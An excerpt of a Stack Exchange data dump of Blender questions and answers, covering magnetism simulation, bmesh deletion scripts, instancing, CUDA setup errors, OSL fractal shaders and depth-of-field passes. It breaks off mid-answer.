  <row Id="1537" PostTypeId="1" AcceptedAnswerId="1539" CreationDate="2013-06-30T00:27:47.303" Score="16" ViewCount="6014" Body="&lt;p&gt;Is there a way to create magnetism in Blender? Using the physics engine or the game engine, I want to create &lt;a href=&quot;http://en.wikipedia.org/wiki/Neodymium_magnet_toys&quot;&gt;BuckyBalls&lt;/a&gt; (the magnetic toys) within Blender.  &lt;/p&gt;&#xA;" OwnerUserId="371" LastEditorUserId="599" LastEditDate="2013-07-17T22:44:46.150" LastActivityDate="2020-02-09T14:29:03.137" Title="How to simulate magnetism In Blender?" Tags="&lt;game-engine&gt;&lt;physics&gt;&lt;force-fields&gt;" AnswerCount="3" CommentCount="5" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1538" PostTypeId="2" ParentId="1537" CreationDate="2013-06-30T00:59:31.763" Score="4" Body="&lt;p&gt;If you actually want to &lt;em&gt;simulate&lt;/em&gt; the magnetic forces, you could use a Force or Magnetic force field with rigid body simulation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you would need to use force field empties parented to the rigid bodies, as it seems force field objects are not effected by other force fields..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also particles with a self effecting force could work, or also with a magnetic force field.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-06-30T18:47:34.813" LastActivityDate="2013-06-30T18:47:34.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1539" PostTypeId="2" ParentId="1537" CreationDate="2013-06-30T03:10:05.327" Score="9" Body="&lt;p&gt;Assuming that you are indeed referring to the &lt;a href=&quot;http://en.wikipedia.org/wiki/Neodymium_magnet_toys&quot; rel=&quot;noreferrer&quot;&gt;magnetic toys&lt;/a&gt; and not the &lt;a href=&quot;https://en.wikipedia.org/wiki/Fullerene&quot; rel=&quot;noreferrer&quot;&gt;carbon nanomaterial&lt;/a&gt;, then you have a couple of different options.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Technically, you &lt;em&gt;could&lt;/em&gt; model the magnetic attraction between all of the individual balls by using Blender's &lt;em&gt;Force Field&lt;/em&gt; physics. You can enable this physics simulation in the &lt;em&gt;Properties&gt; Physics&lt;/em&gt; menu. &lt;strong&gt;However, this would be very inefficient.&lt;/strong&gt; Since the magnetic attraction between these balls is so strong, they're almost always touching each other directly and you would hardly see any effects of the simulation.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z2R4x.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Instead, you can just model the balls themselves, and keep most of them touching each other.&lt;br&gt;&#xA;If you only have a few of them, it's probably fastest just to control their movements by hand. However, if you need to animate them more efficiently, you can use a combination of &lt;em&gt;Array&lt;/em&gt; modifiers (parented to empty objects for convenience) and Transform/Relationship constraints as appropriate to keep the right balls locked to each others surfaces.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;BuckyBalls:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yjRUW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="599" LastEditDate="2013-06-30T19:05:20.730" LastActivityDate="2013-06-30T19:05:20.730" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1540" PostTypeId="2" ParentId="1495" CreationDate="2013-06-30T06:56:33.850" Score="3" Body="&lt;p&gt;For debugging cases like this you could try using the following debugging tools&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Keep an eye on the View3D Header for information regarding the current modal operator. In your case, you should see proportional editing messages.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the View3D Properties Panel (&lt;kbd&gt;N&lt;/kbd&gt; key), under Display Panel check the Relationships option. (in case there are constraints setup like Child-Of, Copy-Transform)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="228" LastEditorUserId="228" LastEditDate="2013-06-30T11:38:59.673" LastActivityDate="2013-06-30T11:38:59.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1541" PostTypeId="1" AcceptedAnswerId="1542" CreationDate="2013-06-30T09:03:37.950" Score="9" ViewCount="5913" Body="&lt;p&gt;Suppose I have identified or can identifiy some meshparts I no longer want in my mesh and want to delete them, how would I do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that bmesh.ops.delete exists, I just don't know how to use it, because the API is a bit lacking for that function. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="795" LastEditorUserId="12" LastEditDate="2013-06-30T12:01:50.753" LastActivityDate="2013-06-30T13:34:41.110" Title="How can I delete mesh parts with python?" Tags="&lt;scripting&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1542" PostTypeId="2" ParentId="1541" CreationDate="2013-06-30T10:07:43.347" Score="11" Body="&lt;p&gt;using the bmesh simple template from the text editor, and a bit of snooping around. You should experiment with the &lt;code&gt;geom&lt;/code&gt; and &lt;code&gt;context&lt;/code&gt; parameters.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The context is enumerated so (&lt;a href=&quot;https://svn.blender.org/svnroot/bf-blender/trunk/blender/source/blender/bmesh/intern/bmesh_operator_api.h&quot;&gt;source: bmesh_operator_api.h&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;enum {&#xA;DEL_VERTS = 1,&#xA;DEL_EDGES,&#xA;DEL_ONLYFACES,&#xA;DEL_EDGESFACES,&#xA;DEL_FACES,&#xA;DEL_ALL,&#xA;DEL_ONLYTAGGED&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This example assumes we have a mesh object in edit-mode and several faces selected. Running the script will delete edges and faces associated with the selection.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;# Get the active mesh&#xA;obj = bpy.context.edit_object&#xA;me = obj.data&#xA;&#xA;# Get a BMesh representation&#xA;bm = bmesh.from_edit_mesh(me)&#xA;faces_select = [f for f in bm.faces if f.select] &#xA;&#xA;bmesh.ops.delete(bm, geom=faces_select, context=5)  &#xA;&#xA;# Show the updates in the viewport&#xA;# and recalculate n-gon tessellation.&#xA;bmesh.update_edit_mesh(me, True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-06-30T13:34:41.110" LastActivityDate="2013-06-30T13:34:41.110" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1543" PostTypeId="2" ParentId="1511" CreationDate="2013-06-30T12:02:10.573" Score="11" Body="&lt;h3&gt;3d Navigation Addon&lt;/h3&gt;&#xA;&lt;p&gt;There is the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/3D_Navigation&quot; rel=&quot;noreferrer&quot;&gt;3d Navigation Addon&lt;/a&gt; which comes bundled with Blender, which I haven't seen mentioned here yet. I made &lt;a href=&quot;https://gist.github.com/zeffii/5894868&quot; rel=&quot;noreferrer&quot;&gt;modifications to this Addon&lt;/a&gt; that make it more convenient for me when I don't have a mouse and numpad connected to this laptop and don't want to mess up my key-bindings to compensate.&lt;/p&gt;&#xA;&lt;p&gt;It would be easy enough to extend this to include an input area for manual input of the view matrix.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CJNTbm.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h3&gt;Stored Views Addon&lt;/h3&gt;&#xA;&lt;p&gt;This addon called &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/stored_views&quot; rel=&quot;noreferrer&quot;&gt;Stored Views&lt;/a&gt; may be of interest to you too. It will let you import and export a list of view orientations and configurations.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-06-30T13:38:45.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1544" PostTypeId="1" AcceptedAnswerId="1545" CreationDate="2013-06-30T12:03:18.613" Score="9" ViewCount="2431" Body="&lt;p&gt;Using &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;D&lt;/kbd&gt; to duplicate light meshes with heavy modifiers (like a leaf with a particle instance modifier or a trunk with a subdivision modifier) can lead to huge memory usage. Because only the base mesh is instantiated. The output mesh of the modifier, won't be instantiated. If you have 1000 trunks with a subdivision of 6, they will take 1000 times the required place in memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I instantiate efficiently such objects ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Applying modifier works but doesn't allow efficient editing and produce big blend files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Particle systems doesn't allow precise positioning. Hair systems allow particle painting, but hair are not visible in top view and if the emitter's mesh is modified, the &quot;hairs&quot; move as well, destroying everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question comes following that question &lt;a href=&quot;https://blender.stackexchange.com/questions/1389/convert-large-particle-systems-to-one-object-efficiently/1391#1391&quot;&gt;Convert large particle system(s) to one object efficiently&lt;/a&gt;, where I had big memory problems.&lt;/p&gt;&#xA;" OwnerUserId="296" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2013-06-30T12:08:54.753" Title="How to efficiently instantiate object with memory-hungry modifiers?" Tags="&lt;memory-management&gt;&lt;performance&gt;&lt;instances&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1545" PostTypeId="2" ParentId="1544" CreationDate="2013-06-30T12:04:45.763" Score="9" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Make a group of your object(s) with &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;G&lt;/kbd&gt; and name it (in the tool panel)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the add menu, go to &lt;em&gt;&quot;Group Instance&quot;&lt;/em&gt; and pick the group you want to instantiate.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you append/link such an object, select &quot;instance groups&quot; on the links before appending/linking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allows you to render billions of polygons on a 4Gb computer with precise positioning and also saves space on your hard drive as well.&lt;/p&gt;&#xA;" OwnerUserId="296" LastEditorUserId="12" LastEditDate="2013-06-30T12:08:54.753" LastActivityDate="2013-06-30T12:08:54.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1546" PostTypeId="1" CreationDate="2013-06-30T14:28:28.883" Score="4" ViewCount="1189" Body="&lt;p&gt;I am using Blender in Ubuntu with irie ppa. I've installed Nvidia-cuda-toolkit from irie and bumblebee, then I try to render using cycles but I keep getting this error in the terminal:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CUDA version 4.2 detected, build may succed but only CUDA 5.0 is officially supported&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After getting this error, I downloaded Cuda 5 from Nvidia website and tried to install it, but instead got this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Unsupported compiler: 4.7.2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I tried to install with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo ./cuda*.run -ovveride compiler &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Cuda 5 installed correctly, but when I tried to render again with Cycles I got yet another error message (again)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/usr/local/cuda-5.0/bin/nvcc: 2: /usr/local/cuda-5.0/bin/nvcc: Syntax error: Unterminated quoted stringCUDA: failed to find version number in:&#xA;CUDA nvcc compiler version could not be parsed.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I removed the Cuda files and tried to install (again), but before installation I tried to choose gcc-4.6&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-4.6 40 --slave /usr/bin/g++ g++ /usr/bin/g++-4.6&#xA;update-alternatives: using /usr/bin/gcc-4.6 to provide /usr/bin/gcc (gcc) in auto mode&#xA;sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-4.7 60 --slave /usr/bin/g++ g++ /usr/bin/g++-4.7&#xA;update-alternatives: using /usr/bin/gcc-4.7 to provide /usr/bin/gcc (gcc) in auto mode&#xA;sudo update-alternatives --config gcc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and select gcc-4.6 as compiler. After that I try to install Cuda (again) with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo ./cuda*.run everything is fine, installation succes.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, when I try to render my model with Cycles I get the following error (again)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CUDA: failed to find version number in:&#xA;CUDA nvcc compiler version could not be parsed.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone help?&lt;/p&gt;&#xA;" OwnerUserId="219" LastEditorUserId="25" LastEditDate="2013-06-30T16:50:41.720" LastActivityDate="2013-06-30T18:56:45.640" Title="Cycles Error: Cuda failed to find version number" Tags="&lt;cycles-render-engine&gt;&lt;gpu&gt;&lt;linux&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1547" PostTypeId="1" CreationDate="2013-06-30T15:24:34.000" Score="10" ViewCount="3965" Body="&lt;p&gt;Even though I am relatively new to Blender I am recording a tutorial for a Blender exporter. I have been advised that I should use the Default colour scheme (for the UI). I have no idea which one that is. Can anyone tell me?&lt;/p&gt;&#xA;" OwnerUserId="239" LastEditorUserId="12" LastEditDate="2013-06-30T16:18:17.043" LastActivityDate="2013-07-01T15:21:18.560" Title="How can I get back to Blender's default theme?" Tags="&lt;customization&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1549" PostTypeId="2" ParentId="1547" CreationDate="2013-06-30T15:39:08.883" Score="13" Body="&lt;p&gt;If you go to &lt;code&gt;File -&amp;gt; User Preferences...&lt;/code&gt; and then to &lt;code&gt;Themes&lt;/code&gt;, there's a &lt;code&gt;Reset to Default Theme&lt;/code&gt; button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J09nx.png&quot; alt=&quot;Reset to Default Theme&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="668" LastActivityDate="2013-06-30T15:39:08.883" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1550" PostTypeId="2" ParentId="1546" CreationDate="2013-06-30T18:56:45.640" Score="3" Body="&lt;p&gt;Run &lt;code&gt;nvcc&lt;/code&gt; on the command-line with option &lt;code&gt;--version&lt;/code&gt;. It should show some version information similar to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nvcc: NVIDIA (R) Cuda compiler driver&#xA;Copyright (c) 2005-2012 NVIDIA Corporation&#xA;Built on Tue_Sep_25_09:18:50_PDT_2012&#xA;Cuda compilation tools, release 5.0, V0.2.1221&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The most important part is the last line &lt;code&gt;Cuda compilation tools, release 5.0, V0.2.1221&lt;/code&gt;. Cycles looks for the first part &lt;code&gt;Cuda compilation tools, release&lt;/code&gt;. If this cannot be found, then Cycles gives up with the error you pasted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is different (and based on your output the entire version string is even empty), then you need to contact the package creator to report a bug.&lt;/p&gt;&#xA;" OwnerUserId="97" LastActivityDate="2013-06-30T18:56:45.640" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1551" PostTypeId="1" CreationDate="2013-06-30T19:23:21.230" Score="25" ViewCount="22098" Body="&lt;p&gt;Is it possible to define a true mathematical fractal in Blender? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, would it be possible to use a script or a Blender addon to procedurally generate 3D fractal objects. This could be immensely useful for a number of natural objects that happen to be fractal in nature, such as snowflakes, broccoli, tree branches, ferns, coastlines, mountains, etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Fractal snowflake:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/41vjh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Fractal Romanesco broccoli:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cuxIq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first thought was to use the &lt;em&gt;Add 3D Function Surface&lt;/em&gt; addon, but that doesn't currently allow for recursive definitions. Using textures, combined with images of fractals could help with 2D objects (such as the snowflake), but this solution doesn't really allow for the generation of these fractals. So my question is, is it possible currently to recursively generate fractals in Blender, either with built in functionality or with an addon? If this functionality isn't yet available, would it be possible to write a script to do this?&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="6160" LastEditDate="2015-09-23T17:15:49.017" LastActivityDate="2018-07-10T17:44:52.530" Title="Fractals in Blender?" Tags="&lt;modeling&gt;&lt;mathematics&gt;" AnswerCount="7" CommentCount="4" FavoriteCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="1552" PostTypeId="1" AcceptedAnswerId="1553" CreationDate="2013-06-30T19:26:01.177" Score="6" ViewCount="6932" Body="&lt;p&gt;In the Rigid-body settings, there are two options, &lt;em&gt;Active&lt;/em&gt; and &lt;em&gt;Passive&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, What exactly does the &lt;em&gt;Passive&lt;/em&gt; setting do? how is it different than &lt;em&gt;Animated Active&lt;/em&gt;?&lt;br&gt;&#xA;(I know what &lt;em&gt;Active&lt;/em&gt; and &lt;em&gt;Passive&lt;/em&gt; are,&#xA;just not what the difference between &lt;em&gt;Active Animated&lt;/em&gt; and &lt;em&gt;Passive Animated&lt;/em&gt; is)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/H9bJV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-06-30T20:21:25.033" LastActivityDate="2015-10-28T00:46:28.157" Title="What is the difference between an Active animated rigid body and a Passive rigid body?" Tags="&lt;physics&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1553" PostTypeId="2" ParentId="1552" CreationDate="2013-06-30T19:53:51.527" Score="2" Body="&lt;p&gt;They act the same but have a very different purpose. Passive Animated just updates the objects during the simulation. Active Animated is used to key-framed the initial momentum&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;animate the location or rotation of an Active physics object as well as the Animated checkbox. When the curve on the Animated property switches to disabled, the physics engine takes over using the object's last known location, rotation and velocities.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Quoted from: &lt;a href=&quot;http://wiki.blender.org/index.php/User:Sergof/GSoC2012/Documentation#Animation&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/User:Sergof/GSoC2012/Documentation#Animation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="599" LastEditDate="2015-10-28T00:46:28.157" LastActivityDate="2015-10-28T00:46:28.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1554" PostTypeId="2" ParentId="1552" CreationDate="2013-06-30T19:54:55.973" Score="3" Body="&lt;p&gt;&lt;em&gt;Active&lt;/em&gt; objects are the core part of the physics simulation, with dynamic movement, gravity, etc. By checking &lt;em&gt;Active&lt;/em&gt;, you are essentially telling the Physics simulator that those objects should experience forces, and it has to figure out where they go over the course of the simulation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Passive&lt;/em&gt; objects, on the other hand, are fixed in place--are static. For the purposes of the simulation, they essentially act as rigid-bodied, static, collision objects. The &lt;em&gt;Animated&lt;/em&gt; option allows you to control its motion with keyframes, but it still does not experience the forces modeled on &lt;em&gt;Active&lt;/em&gt; objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you're making a simulation of a ball falling onto a table, the ball would be an &lt;em&gt;Active&lt;/em&gt; object, since it is affected by gravity, whereas the table would be &lt;em&gt;Passive&lt;/em&gt;, since it is fixed in place.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2013-06-30T19:54:55.973" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1555" PostTypeId="1" AcceptedAnswerId="1563" CreationDate="2013-06-30T20:17:04.317" Score="23" ViewCount="26842" Body="&lt;p&gt;How can one make a render pass with black and white data to display depth of field based on the &lt;em&gt;Settings &gt; Camera&lt;/em&gt; dof settings?&lt;br&gt;&#xA;I want to blur or defocus in the compositor, similar to the way it is done with the Z pass but with a more accurate dof information that is based on a target, as opposed to distance away from the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to fiddle with the settings in a new Render layer, overwriting the material, but I have been unable to achieve a render pass effect that outputs something useful.&lt;/p&gt;&#xA;" OwnerUserId="504" LastEditorUserId="2217" LastEditDate="2014-08-05T18:22:36.347" LastActivityDate="2020-12-09T07:23:14.633" Title="How can I get a Depth of field render pass?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;compositor&gt;&lt;blender-internal-render-engine&gt;&lt;depth-of-field&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="1556" PostTypeId="2" ParentId="1551" CreationDate="2013-06-30T20:31:30.017" Score="9" Body="&lt;p&gt;This script will generate a 2D Mandelbrot set in Blender using &lt;a href=&quot;http://wiki.blender.org/index.php/User:DingTo/OpenShadingLanguage&quot; rel=&quot;noreferrer&quot;&gt;OSL&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdosl.h&amp;gt;&#xA;&#xA;shader node_fractal(&#xA;        float CenterX = 0.0,&#xA;        float CenterY = 0.0,&#xA;        point Vector = P,&#xA;        float Zoom = 1.0,&#xA;        int MaxIterations = 50,&#xA;        color Foreground = color(1.0),&#xA;        color Background = color(0.0),&#xA;        output float Fac = 0.0,&#xA;        output color Color = 0.0)&#xA;{&#xA;    point p = Vector / (2* Zoom);&#xA;    float auxiliar = 0.0;&#xA;&#xA;    p[0] += CenterX;&#xA;    p[1] += CenterY;&#xA;&#xA;    point pa = p;&#xA;    point pb = point(0.0);&#xA;    int i = 0;&#xA;    for(i=1; i&amp;lt;MaxIterations; i++)&#xA;    {&#xA;        pb[0] = pa[0]*pa[0] - pa[1]*pa[1];&#xA;        pb[1] = pa[0]*pa[1] + pa[1]*pa[0];&#xA;        pa = pb + p;&#xA;    }&#xA;&#xA;    auxiliar = sqrt((pa[0]*pa[0]) + (pa[1]*pa[1]));&#xA;&#xA;    Fac = clamp(auxiliar,0.0,1.0);&#xA;&#xA;    if (Fac == 0.0)&#xA;        Color = Background;&#xA;    else&#xA;        Color = mix(Foreground, Background, Fac);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dffe2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Source:&lt;/strong&gt; &lt;a href=&quot;http://elbrujodelatribu.blogspot.fr/2013/04/blender-cycles-osl-mandelbrot-fractal.html&quot; rel=&quot;noreferrer&quot;&gt;http://elbrujodelatribu.blogspot.fr/2013/04/blender-cycles-osl-mandelbrot-fractal.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="12" LastEditDate="2013-06-30T20:55:02.930" LastActivityDate="2013-06-30T20:55:02.930" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1557" PostTypeId="2" ParentId="1551" CreationDate="2013-06-30T21:04:42.887" Score="5" Body="&lt;h3&gt;L-systems for Blender&lt;/h3&gt;&#xA;&lt;p&gt;When discussing 3d and fractals you might want to investigate &lt;a href=&quot;http://en.wikipedia.org/wiki/L-system&quot; rel=&quot;nofollow noreferrer&quot;&gt;L-systems (wikipedia link)&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This &lt;a href=&quot;https://www.youtube.com/watch?v=hmcpodyj4XQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;video&lt;/code&gt;&lt;/a&gt; shows Romain Lopez using his implementation of L-systems with blender and python, unfortunately no links to code are provided. But L-systems are really cool and can make brain-bending complexity with minimal input.&lt;/p&gt;&#xA;&lt;p&gt;Michael Anders has a tutorial for an &lt;a href=&quot;http://michelanders.blogspot.nl/p/creating-blender-26-python-add-on.html#lsystem&quot; rel=&quot;nofollow noreferrer&quot;&gt;L-system addon&lt;/a&gt;, which was posted on BlenderNation not so long ago.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-06-30T21:47:51.037" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1558" PostTypeId="5" CreationDate="2013-06-30T22:55:01.053" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-06-30T22:55:01.053" LastActivityDate="2013-06-30T22:55:01.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1559" PostTypeId="4" CreationDate="2013-06-30T22:55:01.053" Score="0" Body="Questions related to instancing. Instancing is used to duplicate many objects that are the same. Uses such as particles, Dupliverts." OwnerUserId="599" LastEditorUserId="2217" LastEditDate="2014-04-26T20:56:24.243" LastActivityDate="2014-04-26T20:56:24.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1560" PostTypeId="5" CreationDate="2013-06-30T22:58:50.083" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-06-30T22:58:50.083" LastActivityDate="2013-06-30T22:58:50.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1561" PostTypeId="4" CreationDate="2013-06-30T22:58:50.083" Score="0" Body="Questions related to memory consumption. This refers to both RAM (Random Access Memory) usage and hard drive space." OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-06-30T22:59:19.243" LastActivityDate="2013-06-30T22:59:19.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1563" PostTypeId="2" ParentId="1555" CreationDate="2013-07-01T01:00:13.517" Score="24" Body="&lt;h1&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/compositing/types/filter/defocus.html#defocus-node&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Defocus&lt;/em&gt; node&lt;/a&gt;&lt;/h1&gt;&#xA;&lt;p&gt;There's build-in support for focusing on objects using this node.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In the &lt;em&gt;Properties&lt;/em&gt; editor under &lt;em&gt;Object data&lt;/em&gt; (with the camera selected):&lt;/li&gt;&#xA;&lt;li&gt;In the &lt;em&gt;Depth of Field&lt;/em&gt; panel, add your &lt;em&gt;Focus&lt;/em&gt; object.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/cameras.html#depth-of-field&quot; rel=&quot;nofollow noreferrer&quot;&gt;Camera Object Data, Depth of Field settings&lt;/a&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When setting up your &lt;em&gt;Defocus&lt;/em&gt; node, enable &lt;em&gt;Use Z-Buffer&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/435vu.png&quot; alt=&quot;Defocus node setup&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Cycles DoF&lt;/h1&gt;&#xA;&lt;p&gt;Cycles also has built-in support for DoF. Again in &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/cameras.html#depth-of-field&quot; rel=&quot;nofollow noreferrer&quot;&gt;Depth of 